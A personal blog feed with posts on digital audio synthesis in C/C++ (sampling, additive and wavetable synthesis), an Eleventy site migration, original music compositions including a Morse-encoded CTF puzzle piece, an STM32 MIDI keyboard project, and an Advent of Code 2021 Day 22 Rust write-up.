A better approach is to use a buffer and work in batches. The buffer will hold onto our samples before feeding it to the speaker.

Process $N$ samples and store them in a buffer
Feed all $N$ samples to the DAC/speaker

We'll focus more on step 1 (processing) for now. We'll cover step 2 (output) in the next post.

In a previous post, we discussed quantisation and how different representations (such as integers and floats) are suited for different tasks. Integers are discrete numbers, while floats are (imprecise) real numbers. Since we're concerned with audio processing, we'll be using floats and quantising from -1 to 1.

In C/C++, we can generate a sine tone like so:

#define SAMPLE_RATE 44100  // Number of samples per second.
#define BUFFER_SIZE 1024   // Length of the buffer.

// Define an array for storing samples.
float buffer[BUFFER_SIZE]; // Buffer of samples to populate, each ranging from -1 to 1.

/**
 * Generate samples of a sine wave and store them in a buffer.
 * @param freq  Frequency of the sine wave, in Hz.
 */
void generate_samples(float freq) {
    // Populate the buffer with a sine tone with frequency `freq`.
    for (int i = 0; i < BUFFER_SIZE; i++) {
        buffer[i] = sin(2 * PI * freq * i / SAMPLE_RATE);
    }
}

And that’s it—we’ve just whooshed pure sine tone goodness from nothing! Granted, there are some flaws with this method (it could be more efficient, and the signal clicks when repeated); but hey, it demonstrates synthesis.

Note on Buffers: Usually, the buffer size is medium-sized power of 2 (e.g. 512, 1024, 2048, 4096...). This enhances cache loads and processing speed (dividing by a power of 2 is super easy for processors!).¹

The Fourier Theorem 📊

One fundamental theorem in signal processing is the Fourier Theorem, which relates to the composition of signals. It can be summarised into:

Any periodic signal can be broken down into a sum of sine waves.

We can express this mathematically as $$ f(x) = a_0\sin(f_0x + b_0) + a_1\sin(f_1x + b_1) + \cdots + a_n\sin(f_nx + b_n) $$ where $a_i$, $f_i$, and $b_i$ are the amplitude, frequency, and phase of each constituent sine wave.

The Fourier Theorem and Fourier Transform are ubiquitous in modern day technology. It is the basis for many audio processing techniques such as filtering, equalisation, and noise cancellation. By manipulating the individual sine waves that make up a sound, we can alter its characteristics and create new sounds. The Fourier Transform is also a key component in compression, such as the JPG image format.

What’s cool about this theorem is that we can apply it the other way: any periodic signal can be generated by adding sine waves. This lays the groundwork for additive synthesis and generating audio with multiple pitches (e.g. a chord).

Additive Synthesis ➕

The principle of additive synthesis is pretty straightforward: signals can be combined by adding samples along time.

^{Example of additive synthesis. The first and second signal show pure sine tones at 440Hz ($s_1$) and 660Hz ($s_2$). The third signal adds the two signals ($s_1 + s_2$). The fourth signal scales the third signal down to fit within $[-1, 1]$ ($(s_1 + s_2) / 2$). (Source Code)}

To sound another pitch, we simply add a second sine wave to the buffer.

#define SAMPLE_RATE 44100
#define BUFFER_SIZE 1024

float buffer[BUFFER_SIZE];

/**
 * Generate samples of two sine waves played together and store them in a buffer.
 * @param freq  Frequency of the first sine wave, in Hz.
 * @param freq2 Frequency of the second sine wave, in Hz.
 */
void generate_samples2(float freq, float freq2) {
    for (int i = 0; i < BUFFER_SIZE; i++) {
        buffer[i] = 0.5f * sin(2 * PI * freq * i / SAMPLE_RATE);
        buffer[i] += 0.5f * sin(2 * PI * freq2 * i / SAMPLE_RATE);
    }
}

Again, the code above populates the buffer with 1024 samples of audio. But this time, we introduced a second frequency freq2 and added a second sample to the buffer. We also made sure to scale the resulting sample back down to the $[-1, 1]$ range by multiplying each sample by 0.5.

We can see additive synthesis in action with some help from Audacity.

Let’s start off with one tone.
- Generate a 440Hz tone (Generate > Tone… > Sine).
- Play it. You’ll hear a pure tone.
Now let’s add another tone.
- Make a new track (Tracks > Add New > Mono Track).
- Generate an 880Hz tone in the new track. Same method as above.
- Play it to hear a beautiful sounding octave.

During playback, Audacity will combine the samples from both tracks by summing them and play the summed signal.

You can try layering other frequencies (554Hz, 659Hz) to play a nifty A Major chord.

Fundamental Frequency

A side note. When combining two frequencies with additive synthesis, something subtle happens. The ground shifts and our feet fumble! The fundamental frequency implicitly changes!

DIY Example

Fire up Audacity.
Generate a 400Hz sine tone. (Generate > Tone...)
Generate a 402Hz sine tone on a different track.
Play the audio and observe. How many times does the audio peak per second?

It peaks twice per second. (That is, we implicitly added a 2Hz signal beneath!)

Specifically, the fundamental changes to the greatest common divisor (GCD) of the two frequencies.

More notes:

When we play a note and its 5th (in Just Temperament), say 440Hz and 660Hz, our fundamental is 220Hz.
With octaves, the fundamental frequency is just the frequency of the lower note.
This also leads to some interesting phenomena.
- When we play two super-low-register notes a semitone apart, we get funny, dissonant pulses emanating from our keyboard or piano.
- This may also lead to unpleasant buzzes when mixing synths, possibly due to frequency modulation on top of a steady tone.

Wavetable Synthesis 🌊

In previous code blocks, we computed samples using sin(). But what if we wanted to compute something more complex? Do we really just reverse the Fourier theorem and apply additive synthesis on a bunch of sine signals? It turns out there's a better way.

A more efficient approach is to interpolate over pre-generated values, sacrificing a bit of memory for faster runtime performance. This is known as wavetable synthesis or table-lookup synthesis. The idea is to pre-generate one cycle of the wave (e.g. a sine) and store it in a lookup table. Then when generating samples for our audio, we would look up the pre-generated samples and derive intermediate values if necessary (via interpolation).

This is akin to preparing a cheat sheet for an exam, but you're only allowed to bring one sheet of paper—space is precious. You decide to only include the most crucial equations, key points, and references. Then when taking the exam you refer to the cheat sheet for ideas, connect the dots, and combine them with your thoughts to form an answer.

^{Example of wavetable synthesis. The blue dots (above) show a pre-generated wavetable of length 32. The red dots (below) are samples of a 8Hz sine wave sampled at 100Hz, generated by interpolating on the wavetable. (Source Code)}

Wavetable synthesis can be implemented in C++ like so:

#define SINE_WAVETABLE_SIZE 256
#define SAMPLE_RATE 44100  // Number of samples per second (of the target waveform).
#define BUFFER_SIZE 1024

// The pre-generated wavetable. It should capture one cycle of the desired waveform (in this case, a sine).
float sine_wavetable[SINE_WAVETABLE_SIZE] = { /* pre-generated values ... */ };

// The phase indicates how far along the wavetable we are.
// We're concerned with two components: the integer and decimal.
// The integer part indicates the index of left sample along the wavetable, modulus the size.
// The decimal part indicates the fraction between the left and right samples.
float phase = 0;

float buffer[BUFFER_SIZE];

/**
 * Generate samples of a sine wave by interpolating a wavetable.
 * @param freq  Frequency of the sine wave, in Hz.
 */
float get_next_sample(float freq) {
    size_t idx = size_t(phase); // Integer part.
    float frac = phase - idx;   // Decimal part.

    // Get the pre-generated sample to the LEFT of the current sample.
    float samp0 = sine_wavetable[idx];

    // Get the pre-generated sample to the RIGHT of the current sample.
    idx = (idx + 1) % SINE_WAVETABLE_SIZE;
    float samp1 = sine_wavetable[idx];

    // Interpolate between the left and right samples to get the current sample.
    float inter = (samp0 + (samp1 - samp0) * frac);

    // Advance the phase to prepare for the next sample.
    phase += SINE_WAVETABLE_SIZE * freq / SAMPLE_RATE;

    return inter;
}

void generate_samples_w(float freq) {
    for (int i = 0; i < BUFFER_SIZE; i++) {
        buffer[i] = get_next_sample(freq); // We've offloaded the calculations to `get_next_sample`.
    }
}

For a sine wave, we don't gain much in terms of performance. But when it comes to generating complex waveforms, wavetable synthesis rocks!²

Wavetable synthesis is commonly used by MIDI to generate sounds. Each instrument has its own soundfont, which is a collection of wavetables of different pitches. This unifies the synthesis approach for all instruments, as some may be simple to generate (e.g. clarinet) while others are more complex.

Additive synthesis and wavetable synthesis serve two very different purposes!

Additive synthesis aims to combine multiple waveforms, of any shape and size (e.g. playing chords, or combining guitar and voice tracks).
Wavetable synthesis aims to generate a specific waveform (in a fast manner).

Besides this software approach, we can also leverage hardware to speed up processing. But this is a matter for the next post.

Exercise for the reader:

What variables affect the speed at which we iterate through the pre-generated wavetable?
What happens if we try to generate a waveform with frequency equal to half the sample rate? Or with frequency equal to the sample rate itself?

Recap 🔁

Audio generation is pretty fun once we dive deep, as are its applications: toys, electronic instruments, virtual instruments, digital synths, speakers, hearing aids, and whatnot. As before, I hope we communicated on the same wavelength and the information on this post did not experience aliasing. 😏

In the next post, we'll dive even deeper into audio synthesis (particularly in embedded systems) and engineer a simple tone generator.

To recap…

Audio samples may come from several sources. It may be recorded, loaded from a file, or synthesised.
We can synthesise musical pitches by buffering samples and feeding them to hardware.
According to the Fourier Theorem, all signals can be broken into a summation of sine waves.
To combine audio signals, we can apply additive synthesis.
- This also allows us to play multiple pitches simultaneously (chords).
We can generate complex waveforms by using wavetable synthesis, which trades memory for speed by sampling pre-generated signals.

Further Reading:

Waveforms (Sine, Square, Triangle, Sawtooth)
- Most audio synthesis tutorials cover simple waveforms; but as internet content is saturated here, I'll just drop a couple links. I couldn't find an article I like that introduces these waveforms in all their glory. If you know of better articles, let me know.
- Perfect Circuit (conceptual, high-level)
- Electronics Tutorial (geared towards electronics; would be a nice read to prepare for the next post)
Beginner’s Guide: Everything you need to know about synthesis in music production – Introduces more forms of audio synthesis, geared towards music production.

Footnotes

Boy, do I have a lot to say about buffers. Why is the buffer size important? Small buffers may reduce the efficacy of batching operations (which is the primary purpose of buffers). Large buffers may block the processor too much, making it sluggish to respond to new input. Choosing an appropriate buffer size also depends on your sampling rate. With a buffer size of 1024 sampling at 44100Hz, we would need to generate our samples every $\frac{1024}{44.1\text{kHz}} \approx 23.2$ ms. On a single processor, this means we have less than 23.2 ms to perform other tasks (e.g. handle UI, events, etc.). ↩︎
Guess what? There are more ways to optimise wavetable synthesis—so it'll rock even more! See the open source LEAF library for an example of optimised wavetable synthesis in C. ↩︎

Digital Audio Synthesis for Dummies: Part 1

2023-02-24T00:00:00Z

A while back I worked on a lil’ MIDI keyboard project and learnt a lot regarding digital audio signal processing. This post is the first in a series of posts related to that project and aims to provide a springboard for those who wish to get their feet wet with audio processing.

Dealing with Data 📈

When processing data of any form, we are concerned with the data’s quality. Higher quality data may lead to a more thorough analysis and better user experience, but also demand higher memory and computing requirements.

With audio, we are concerned with two dimensions of quality: sampling (time) and quantisation (bit depth).

Sampling 🔪

Sampling refers to how much we “chop” a signal. Suppose our signal is a carrot. For a stew, we may want longer samples (sparser chops). With rice, however, it's better to go with shorter samples (denser chops).

^{Blue line: original, continuous signal. Red dots: sampled, discrete signal. At higher sample rates, we chop densely, and more information is retained. At lower sample rates, we chop sparsely, but the sampled signal struggles to capture the peaks and troughs.}

Digital audio signals are represented discretely by storing samples at regular intervals instead of using a single continuous line.

The sample rate refers to how fast we chop, how fast we sample our audio. Choosing an appropriate sample rate for your application is an important consideration. A higher rate yields more information per second, at the expense of space.

Audio is usually sampled at 44.1kHz or 48kHz (i.e. 44,100 or 48,000 samples per second). But why are these rates so common? To answer this, we first need to learn about the…

Nyquist-Shannon Sampling Theorem

The Nyquist-Shannon Sampling Theorem (aka the Nyquist Theorem) is an important consideration when choosing a sample rate for your application. According to this theorem, in order to accurately reconstruct a continuous signal such as audio, it must be sampled at a rate that is at least twice the highest frequency component of the signal. This threshold is also called the Nyquist frequency.

For example, if we want to store a 1kHz audio signal, we would need to sample at 2kHz or more. Humans can hear frequencies in the range 20Hz – 20kHz, so if we want to capture all audible sounds, our sample rate needs to be at least 40kHz.

This is important to avoid aliasing, which occurs when high frequency components of a signal are mistakenly interpreted as lower frequency components. Aliasing results in distortion and can lead to inaccurate representation of the original signal.

The diagram below demonstrates aliasing, which happens when our sample rate is too low.

^{(a) Sampling a 20kHz signal at 40kHz captures the original signal correctly. (b) Sampling the same 20kHz signal at 30kHz captures an aliased (low frequency ghost) signal. (Source: Embedded Media Processing.¹)}

The Nyquist Theorem explains why we usually sample above 40kHz, but why 44.1kHz specifically? Well, there are historical reasons (pioneering decisions) and mathematical reasons (factoring and downsampling).² Also, being lenient with our sampling frequency gives filters more flexibility.³

Quantisation 🪜

While sampling deals with resolution in time, quantisation deals with resolution in dynamics (or loudness). Here, we’re concerned with two things: quality and data storage (in files or RAM).

Like sampling, quantisation affects how well a signal is represented. If we quantise with 1 bit, then each sample has only two possible values (0 or 1). This means we can represent square waves (where high=1, low=0). But we can’t represent sine waves since the values in between that make up a sine wave aren’t in our vocabulary.

^{Blue: original signal; Red: quantised signal. Higher quantisation leads to better audio quality. With 1 or 2 bits, we can barely tell the signal is reproduced. With more bits, the signal is more faithfully reproduced.}

Higher quantisation also gives us greater dynamic resolution. With 1 bit, we're limited to absolute silence (0) or an ear-shattering loudness (1). With 8 bits, we have $2^8 = 256$ different "volume settings" to choose from—much more quality than simple 1s and 0s!
Regarding data storage, the less number of bits needed per sample, the more memory saved. When storing samples in files, most applications quantise to 16-bit integers, which allow for a decent resolution of -32,768 to +32,767 at two bytes per sample (1 byte being 8 bits). 32-bit floats are another common representation, bringing substantially greater detail at the expense of twice the space.⁴

^{Each block is an audio sample. Lower quantisation leads to more compact storage.⁵}

Now when storing audio in RAM for audio processing, it's easier to work with floats in the range of -1.0 to 1.0. Why the smaller range? Well, if we work directly with the maxima, we may easily encounter errors. With integers, we would experience integer overflow, which wraps positive values to negative values—a horrid nightmare! With floats, we would venture into the territory of infinity, which disrupts subsequent computations.

Thus, we use a smaller range to allow room for processing.

Audio Mishaps and Bugs 🐞

If you know the enemy and know yourself, you need not fear the result of a hundred battles. – Sun Tzu, The Art of War

Sometimes when experimenting with audio, something goes amiss. The most common issues are aliasing, clipping, and clicks. These pesky lil' issues may crop up when processing audio... all the more important to understand how to mitigate them.

Pro Tip: Oscilloscopes are your friend! If you encounter weird sounds, you can feed your processed signal into an oscilloscope (analogue or digital) to check for issues.

Aliasing

We mentioned aliasing earlier. Aliasing occurs when a signal is sampled insufficiently, causing it to appear at a lower frequency.

Generally, increasing the sample rate helps (or lowering the maximum frequency). In any case, it's wise to be vigilant with your sample rate and frequency range.

Clipping ✂️

Clipping occurs when our samples go out-of-bounds, past the maximum/minimum quantisation value. Clipping may cause our signal to wraparound or flatten at the peaks and troughs.

^{Example of wraparound clipping, typically due to integer overflow/underflow.}

^{Example of a signal flattened at the peaks and troughs due to clamping.}

Clipping arises from neglecting dynamic range. It can be addressed by scaling down the signal (multiplying samples by a factor below 1) or by using dynamic range compression (loud noises are dampened, soft noises are left unchanged).

Clicks

Clicks (aka pops) occur when a signal behaves discontinuously with large differences between samples. This difference forces the speaker hardware to vibrate quickly… too quickly.

^{Signal jumps from -1.0 to 1.0, causing my speaker to pop and my ear drums to bleed from utter despair.}

Clicks may arise from trimming or combining audio recordings without applying fades. In audio synthesis, mismanagement of buffers and samples may also be a factor.⁶

Recap 🔁

Audio processing is ubiquitous in daily life. In this post, we explored how digital audio works under the hood. Hopefully we communicated on the same wavelength and no aliasing occurred on your end. 😏

In the next post, we'll look at audio synthesis: the making of audio from nothing.

To recap…

Fundamental to audio processing is the quality of audio data. This comes in two forms: sampling and quantisation.
- Sampling refers to the discretisation and resolution of a signal in time.
  - Higher sample rate = more information per second = higher quality.
- Quantisation refers to the bit depth, the resolution in loudness.
  - Higher bit depth = higher quality.
- Higher quality comes with the cost of higher memory consumption.
- To accurately reconstruct a signal, the Nyquist Theorem states the sample rate should surpass the Nyquist frequency (twice the maximum frequency of the signal).
  - Sample rates below the signal's Nyquist frequency are prone to aliasing.
Some common issues to audio processing are aliasing, clipping, and clicks.
- Aliasing occurs when a signal is misinterpreted to be of lower frequency.
- Clipping occurs when samples exceed the dynamic range and are cut.
- Clicks occur when samples contain a large difference, causing the speaker to vibrate too quickly.

Footnotes

Katz, D; Gentile, R. 2005. Embedded Media Processing. They’ve provided Chapter 5: Embedded Audio Processing as a preview. It's a nice read. ↩︎
44,100 can be factored into $2^2 \times 3^2 \times 5^2 \times 7^2$, which is useful for downsampling to various applications. It's very easy to downsample by a factor of the original sample. For instance, if we want to downsample by a factor of 2, we simply skip every other sample (or interpolate between). ↩︎
See also: Why do we choose 44.1 kHz as recording sampling rate? ↩︎
How much more detail do floats have over integers? 32-bit floats range from about -10³⁸ to +10³⁸ whereas 32-bit integers range from about -10⁹ to +10⁹. Sadly, the increased range of floats comes with a downside: reduced precision. But that's alright. Floats are precise up to 7 significant figures, which is fine in a lot of cases! For more info on floating points, see the Wikipedia page on 32-bit floats. ↩︎
When storing audio in files or transmitting audio, we usually encode and compress the audio to save space. Out of scope for this post though. :( ↩︎
Fox, Arthur. What Causes Speakers To Pop And Crackle, And How To Fix It ↩︎

Amorama

2023-02-14T00:00:00Z

Amorama was composed for a fun little musical challenge on the theme of love ❤️ with the constraint of using the rarely-sighted 13/16 metre. Often, music is made for more balanced, basic metres such as 4/4, 3/4, and 6/8. For some reason, we seem to prefer small subdivisions of 2 or 3. We can still apply this principle with 13/16 though, and it turns out that's what most contestants did. :)

I chose to blend Cuban rhythms, some sweet little tunes, and—since it's February—various love themes (see if you recognise any!). The piece is scored for violin, piano, double bass, castanets (the clacky things), and drums. The violin and piano are responsible for the melody, while the bass, castanets, and drums primarily generate rhythm and provide the swaying dance line.

As encouraged by Spotify advertisements, go and dance with abandon!

Happy Valentine's Day, God bless, and enjoy~ ❤️

Site Migration to Eleventy

2023-02-04T00:00:00Z

This post contains a brief explanation of this site’s migration and improvement over the last week.

Jekyll and Eleventy (aka 11ty) are static site generators (SSGs)—programs that take us from templated code + blog posts written in Markdown to full-fledged static websites. 11ty is one of the newer, growing SSGs out there. Of course, we can't have a migration post without the appropriate meme, so let's start with that:

Rambling About Eleventy

The Good

Some key things I really like about 11ty so far... (keep in mind I’m coming from Jekyll)...

Loads of plugins
- The JavaScript (JS) and npm ecosystem is pretty diverse. I’m guessing it’s because most plugins were built for Next.js (another popular, mature SSG) and were modular enough to work with 11ty. For context, Jekyll is a Ruby library, and its plugins are lacking (in number and maintenance).
- Some plugins don’t work straight out of the box. They may need some careful tuning… or there may be an 11ty plugin alternative. 11ty plugins are more geared towards 11ty compared to regular plugins.
Flexibility
- Very easy and flexible to manage data, including front matter data and site metadata.
- Pagination is built into front matter and works like a charm.
- You can add your own Liquid/Nunjucks filters from JS. This way logic is expressed more clearly and concisely. I rewrote my code for finding related posts this way. Some things are better left to JS.
- You can use a web framework such as React or Vue if you want. But it’s not needed. “Frameworks come and go”, as they say.
Nunjucks > Liquid
- Ah yesss, ternary expressions! Inline math! Comments look nicer as well.
- Thought that was all? Get MINDBLOWN by importable macros and template inheritance.
- Liquid and Nunjucks are templating languages, promoting code and layout reuse. They can also be used to generate post lists, feeds, and data files. With Jekyll, you're stuck with Liquid; but with 11ty, you're free to choose from a variety. Usually people recommend Nunjucks—with good reason too!
- Although Nunjucks builds twice as slow compared to Liquid, this is a fine trade-off considering the sweeter programming experience.
Build speed
- It’s pretty fast. Comparable to Hugo (which is the fastest SSG out there).
- Great if you have a thousand posts, though I probably won’t write beyond a couple hundred in my entire lifetime.
- With Jekyll, the site took 10-30s to build. 11ty? 2-8s. Maybe I should refactor some JS to make it go even faster.
Active community support (via Discord).
- To be fair, I never asked for support in the Jekyll forums since the questions I had were already answered.
- But the people that addressed my 11ty questions were pretty nice.

The Meh

Not everything is rainbows and sunshine. Time to be salty now. Some things I feel iffy about...

404 doesn’t work in localhost. It forces(?) me to use a Content Security Policy, which makes the site more secure in hindsight, but it’s annoying to deal with. One reason I decided to remove Google Analytics¹ was to escape from such trouble. Although... I was using the beta version... so there were bound to be bugs...
Still haven’t figured out how to minify CSS and JS. The architecting involved seems a bit weird… I may check it out again some time.

Update!

After digging through GitHub issues, I finally got JS minifying to work using Passthrough Copy and an underlying transform option.
Less mature. Granted, new technology is always less mature. 11ty has fewer examples compared to Jekyll, but the ones that are available are pretty good.

Other Site Improvements

Also, while we’re on the meta topic of this site. You may notice some improvements, such as…

Better UI components on these posts. The sidebars were made using position: sticky; in CSS, along with other magic. Social links are also reorganised and collapse nicely under a button for smol screens.
The site should feel more minimalist, as I’ve ditched a bunch of cards and borders.
Figured out how to add a Discord link. :D
Revised the Home Page. There’s more stuff there now. Go check it out!

There are still a few pages and components I want to migrate and add, but I shall leave those for another time.

Footnotes

Yes, I was using analytics. But sssshhh… ↩︎

Remorse

2023-01-27T00:00:00Z

A reflection of the past, composed and mixed during my 7-day covid quarantine.

Time ebbs past,
As anguish holds fast.
Without you I’m filled with remorse,
For you are my one driving force.

As the season turns,
My heart still churns.
I’ll leave my sins and remorse,
Heading on a different course.

The purpose of composing this piece is threefold: it served as an expression of faith and emotions, a challenge for a Capture-the-Flag (CTF) competition, and an enjoyable way to pass quarantine. There wasn't any priority to a particular purpose; all of them seemed to develop together.

This piece was composed for the HKUST Firebird 2023 Internal CTF. Such competitions are designed to challenge players with cybersecurity know-how. Once players identify and exploit a vulnerability, they are rewarded with a flag (a piece of text), which awards points to the player when submitted. Occasionally, some challenges deviate from the norm and test players in other areas. In this case, my challenge tested players in analysing music and patterns.

When composing this piece, I aimed to compose something listenable and motivic. I decided to keep constraints flexible within limits. If a music is too constrained, it sounds choked, inevitable, or unimaginative. Some music ciphers out there encode letters into pitches and duration. This was a bit too far for my liking, as it becomes painstakingly difficult to find a pleasurable tune.

As hinted by the title, I first translated the flag into Morse using an online converter with the extended Morse character set. This allowed for some punctuation such as (, -, _, and funky non-ASCII characters such as é.

With plaintext, we need to encode at least 50 distinct letters. With Morse, we just need to encode 3 instead: ., -, and space (as a word separator). So things are relatively simple.

I toyed around with a few ideas of encoding these three characters. Eventually I ended up with this mapping:

. → "Note On" in upper stave (treble clef)
- → "Note On" in lower stave (bass clef)
space → "Note On" in both staves

This lent the music well to a contrapuntal form, with the occasional grace-note or glissando to pack characters in a way that preserves the melodic contour. After composing the sheet music, I ended up mixing it with Reaper for some extra flair and charged resonance, making the night seem younger.

Enjoy the result!

Seaside Garden

2023-01-01T00:00:00Z

Seaside Garden is composed for HKUST's Call for Scores for the School Anthem.¹ I present my rationale below, at the expense of being cheesy.

Rationale

My journey with HKUST started three and a half years ago. This was a period of becoming, exploration, and development. To me, the university is like a garden: cultivating and nurturing flora and fauna, a peaceful sanctuary, a place of life and beauty. Situated near the sea, HKUST stands firm as waves ceaselessly crash against its foundation.

But what's a garden without birds? A garden is a place where birds can flourish and grow before departing and exploring the outside world. There are countless kinds of birds: wisened owls, agile peregrines, shrewd crows, and hardworking weavers among others. The garden and birds live in symbiosis. The garden provides nutrition and shelter; in exchange, birds spread seeds and pollinate flowers. It is well-known that birds digest fruit from one end and discharge (plus fertilise!) seeds from the other end, planting these gifts to who-knows-where. Without birds, the world becomes a very dark and dismal place.

HKUST's iconic sundial goes by many names. In Cantonese, it's colloquially known as the turkey (literally, fire chicken). Some university groups such as the Red Bird and Firebird teams name themselves after the sculpture. Indeed, it is difficult not to feel a fiery sensation when looking at the sundial.² The name it was officially given was "Circle of Time", a timeless tribute to humanity and a reflection of Earth's endless cycle. Although the two HKUST campuses are separated by a border, the two are united by such a monument.

Further references include the purple orchid, storms, and other subtle things. The purple orchid—aka the Bauhinia, Hong Kong's national flower—was included in view of HKUST's commitment towards the development of Hong Kong. Storms, on the other hand, are an inevitable part of life in Hong Kong and neighbouring ports.

Composed in the final week of the year 2022 and released on New Year's Day 2023, it is my wish that this song instils vision and harmony in learning and teaching throughout the HKUST community.

Lyrics

I'm no lyricist, but for completeness and posterity here are my jank lyrics.

Verse 1
Seedlings sprout forth
As purple orchids bloom.
And birds start the morning
As they sing a joyful tune.

Pre-Chorus 1
Oh the sun rises and falls,
In an endless Circle of Time.
And clouds can't hide the rays that shine from above.

Chorus 1
But though storms and strife may rage all night,
Our journey carries on.
Oh, the seaside garden,
Our community.

Through storms and strife we'll find our way
As one in unity.
In the seaside garden,
Our community.

Verse 2
Dandelions
Blow far, far away.
And birds leave the treetops
As they fly off on their way.

Pre-Chorus 2
The stars rise and fall
In an endless Circle of Time.
And clouds can't hide our voice and fiery call

Chorus 2
And through the books, the toil,
The sleepless nights,
Our journey carries on.
Though storms and strife may rage all night,
Our path is not forgone
Let vision guide all our hearts
Through vivid dreams and youthful hope.
In the seaside garden,
Our community.³

Chorus 3⁴
And through the times, the trials,
The countless miles,
Our venture knows no end.
Wind and water carry far
The gifts that we present.
Let virtues latch on our wings
With steadfast bonds and harmony.
Oh seaside garden,
Our family.³

Outro
From the seaside garden,
We fly!
We fly!

Footnotes

It didn't get accepted, sadly. But that's okay. ↩︎
Up to interpretation, of course. Perhaps it's a fiery love. A fiery joy. A fiery excitement. It could just as well be a fiery hatred, anger, or diarrhoea. ↩︎
May interchange between "community" or "family". ↩︎ ↩︎
May repeat Chorus 2 instead, or sing Chorus 3 twice. Ad lib. ↩︎

STM32 MIDI Keyboard

2022-12-20T00:00:00Z

This project was made for a course on embedded systems and is published online.

Synopsis

The STM32 MIDI Keyboard was a project aimed to practice embedded systems design while also have fun developing a tactile music application. Here are some features found on the keyboard:

2+ octaves (29) piano keys to flexibly play various melodies
Supports multi-press, so that we aren't stuck with boring one-note tunes and can play chords
Volume control, so that we don’t disturb our neighbours
Metronome, in case the user can’t keep track of tempo
TFT display and menu selection
Record and playback music (supports multiple channels!)
Load/store MIDI in flash memory, in case power runs out
Send MIDI signals through Serial USB (UART)
- Receiving is handled by a script (receive.py)
Extra fanciful features:
- Transpose: shift pitches up/down on the diatonic scale
- Auto-Chord: quality-of-life function to play octaves, triads, and open triads by just pressing the root key
- Instruments: supports playback of sine, triangle, square, and sawtooth signals

Development

I was lucky to work with another member of the Robotics Team at HKUST. She did the electrical work of designing and soldering the PCB. Both of us weren't familiar with mechanical design, so we ended up sticking things onto plywood and screwing things up together. But hey, at least it's a minimum viable product.

Although the course provided us with a multi-functional board (STM32F103VET6), we ended up using with a different board (STM32F405). The F4 series comes with more processing power, flash memory, and RAM. These are important considerations when it comes to a real-time music system. Audio buffering needs to be fast and steady, and sufficient memory is required for storage and buffering.

We used C++20 for the project.¹ Although most objects and peripherals were singletons, classes (and templates!) proved useful, especially for containers (such as a fixed-size vector). C++ also allowed us to have static reflection for enums, thanks to magic_enum. The alternative would've been X-macros or hard-coding, both less maintainable options.

Most MIDI keyboards out there don't produce sound by themselves, and sometimes I'd rather just noodle around without having to set up any computer software. So one of our goals was to have the keyboard produce sound. This was pretty straightforward. Slap a timer, DMA, and DAC together, and BAM—non-blocking audio output!

We had more trouble with the speakers. They truly annoyed the heck out of us. Earlier on, we used a pair of small woofers. These were connected to an amplifier (because the voltage delivered by the board's DAC was not enough). The audio output generated when playing one tone (e.g. 440Hz sine) was fine. However for some unknown reason, playing multiple tones (e.g. 440Hz sine + 660Hz sine) was catastrophic. I asked a question on dsp.se, where some users suggested it being a psychoacoustic issue. Thankfully, that was not the case. Eventually we solved the issue by changing to different speakers, the kind used by end-users.

Concluding Remarks

It was quite relaxing and nice to have a (semi-?)personal project developing and designing an embedded application from head to tail. The instructors for the course were really helpful as well.

If you're interested in trying something similar, here are some things we planned but didn't incorporate into our project:

On/off switch
Rechargeable battery
MIDI-USB output + Real-time MIDI input into software
LED backlight under the keyboard?
Stereo audio (L/R)
Reverb/Chorus settings
Note velocity! (Our buttons weren't responsive enough—even though we used the Yamaha ones.)
Better storage (currently we only load/store MIDI for one piece)
Explore and use FluidSynth
More instrument options

I've also published some follow-up tutorials on digital audio synthesis, in case you're interested in getting your feet wet with audio processing:

Footnotes

I was excited to try C++20 modules—which gcc-arm v11 supports!—but CMake doesn't support modules yet. The issue is still ongoing as I write. I think they're trying, but I guess nobody likes dealing with compilation order? C'mon CMake! It's been three years already! ↩︎

AOC 2021 Day 22 – Reactor Reboot

2022-12-02T00:00:00Z

This post is a (very very late) writeup on solving the Advent of Code 2021 Day 22 challenge. This was one of the challenges I spent more time on, and ended up developing three algorithms (which is a bit overkill), all using set theory. I also ended up writing all three in both Haskell and Rust, and benchmarking to compare the runtimes. Needless to say, Rust ran about 25%-50% faster, but performance tuning is not the main point of this article.

I'll mainly show code snippets and implementations in Rust, well, because I think it's more readable. But the general ideas are similar in Haskell.

The Problem

It’s a fun, little problem. We're given a list of input. Each line specifies an action (on or off) and a cuboid (rectangular prism) of points x=10..12,y=10..12,z=10..12. Each line will switch all points within the cuboid on or off.

Sample input:

on x=10..12,y=10..12,z=10..12
on x=11..13,y=11..13,z=11..13
off x=9..11,y=9..11,z=9..11
on x=10..10,y=10..10,z=10..10

The objective is to determine the number of points that are still on after applying every line.

Solving

There are three main components to most of my AOC solves. For this challenge, we'll be implementing these functions.

fn parse(contents: String) -> Vec<Command> { ... },
fn part1(cmds: &Vec<Command>) -> u32 { ... }, and
fn part2(cmds: &Vec<Command>) -> u32 { ... }.

For Day 22, the only difference between part 1 and part 2 is the bound size, so a solution for part 2 would also be able to solve part 1 (but of course I didn't know this until later).

Parsing

Parsing is actually pretty straightforward, so let's get it out of the way first. Essentially, we translate each line of text to a 2-tuple: (bool, Cuboid).

// Some useful type aliases.
#[allow(non_camel_case_types)]
type cube_t = i64;

// Each pair corresponds to min/max values in a dimension.
type Cuboid = ((cube_t, cube_t), (cube_t, cube_t), (cube_t, cube_t));
struct Command(bool, Cuboid);

// Parse takes a String and returns a Vec of Commands.
fn parse(contents: String) -> Vec<Command> {
    let re = Regex::new(r"(on|off) x=(-?\d+)..(-?\d+),y=(-?\d+)..(-?\d+),z=(-?\d+)..(-?\d+)").unwrap();
    contents
        .lines() // Split text at lines.
        .map(|s| {
            for cap in re.captures_iter(s) { // Match with regex, and get capture groups.
                return Command(
                    // Capture group 0 is the entire matched string. So we start with 1, to obtain the first capture group.
                    cap[1].eq("on"),
                    (   // str's parse is builtin and returns an Option<_>.
                        (cap[2].parse::<cube_t>().unwrap(), cap[3].parse::<cube_t>().unwrap()),
                        (cap[4].parse::<cube_t>().unwrap(), cap[5].parse::<cube_t>().unwrap()),
                        (cap[6].parse::<cube_t>().unwrap(), cap[7].parse::<cube_t>().unwrap()),
                    ),
                );
            }
            unreachable!("aaaaaah") // Safety measure. We assume all lines follow the above pattern.
        })
        .collect()
}

A Naive Approach

Our first attempt may be to use a naive brute force approach. We keep track of every single point and whether it is toggled or not. Of course this will not scale well especially if the cubes become larger; but for part 1 of the challenge, it is sufficient. Part 1 simply confines the scope of our problem to ((-50, 50), (-50, 50), (-50, 50)). Any points activated or deactivated outside can be disregarded.

We can use a HashSet to store the 3D points. on would correspond with set.insert and off would correspond to set.remove. Thus after processing, we just need to count the number of elements (set.len()) to get the number of points that are left on.

